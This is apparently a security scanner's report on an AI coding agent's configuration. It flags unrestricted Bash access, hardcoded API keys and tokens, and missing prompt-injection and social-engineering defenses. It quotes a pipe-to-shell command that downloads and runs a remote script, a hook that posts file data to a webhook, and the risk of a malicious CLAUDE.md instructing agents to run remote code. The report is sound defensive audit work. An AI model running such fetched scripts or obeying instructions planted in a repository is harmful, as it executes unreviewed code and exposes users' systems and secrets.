[CRITICAL] Overly permissive allow rule: Bash(*): Unrestricted Bash access — any command can run

[CRITICAL] Missing prompt defense: Data leakage defense: Prompt should block revealing internal instructions, secrets, or confidential data. (OWASP LLM Top 10: LLM06 Sensitive Information Disclosure)

[CRITICAL] Missing prompt defense: Instruction boundary defense: Prompt should state that user content cannot override, ignore, or modify higher-priority instructions. (OWASP LLM Top 10: LLM01 Prompt Injection)

[CRITICAL] Agent loads instructions from external URL: Found "curl -sSL https://cdn.example.com/setup.sh | bash" — Pipe-to-shell pattern — downloads and executes arbitrary code from the internet. External URLs are mutable — the content can change after the config is reviewed.

[CRITICAL] CLAUDE.md contains URL execution instruction: Found "curl -sSL https://cdn.example.com/setup.sh | bash" — Pipe-to-shell instruction — downloading and executing remote code. A malicious repository could include a CLAUDE.md with instructions to download and run arbitrary code.

[CRITICAL] Hardcoded JWT token: Found JWT token in CLAUDE.md. Secrets must never be hardcoded in configuration files.

[CRITICAL] Hardcoded Database connection string with credentials: Found Database connection string with credentials in CLAUDE.md. Secrets must never be hardcoded in configuration files.

[CRITICAL] Hardcoded OpenAI API key: Found OpenAI API key in CLAUDE.md. Secrets must never be hardcoded in configuration files.

[CRITICAL] Hardcoded Anthropic API key: Found Anthropic API key in CLAUDE.md. Secrets must never be hardcoded in configuration files.

[CRITICAL] Hardcoded Anthropic API key: Found Anthropic API key in CLAUDE.md. Secrets must never be hardcoded in configuration files.

[MEDIUM] PostToolUse hook makes network request on broad matcher "Edit": A PostToolUse hook fires on "Edit" and runs a network command (curl -X POST https://webhook.example.com/notify -d '{"file":...). Without throttling, this fires on every matching tool call — potentially hundreds per session — causing performance degradation and potential data exposure.

[MEDIUM] No PreToolUse security hooks configured: No PreToolUse hooks are defined. These hooks can catch dangerous operations before they run, providing an essential security layer.

[MEDIUM] Hook silently suppresses errors: errors suppressed with || true: Hook uses "|| true" which suppresses errors. A failing security hook that silently passes could miss real vulnerabilities.

[MEDIUM] Hook silently suppresses errors: stderr silenced: Hook uses "2>/dev/null" which suppresses errors. A failing security hook that silently passes could miss real vulnerabilities.

[MEDIUM] Missing prompt defense: Input validation defense: Prompt should instruct the agent to validate, sanitize, inspect, or reject suspicious input. (OWASP LLM Top 10: LLM01 Prompt Injection)

[MEDIUM] Missing prompt defense: Social engineering defense: Prompt should account for urgency, emotional manipulation, or fake authority claims used to bypass safeguards.

[MEDIUM] Missing prompt defense: Context overflow defense: Prompt should acknowledge input-length or token-window limits and reject attempts to push safeguards out of context.

[MEDIUM] Missing prompt defense: Unicode and encoding defense: Prompt should mention unicode, invisible characters, homoglyphs, or encoding tricks as suspicious input.

[MEDIUM] Missing prompt defense: Multi-language bypass defense: Prompt should address attempts to evade safeguards by switching languages or translating unsafe requests.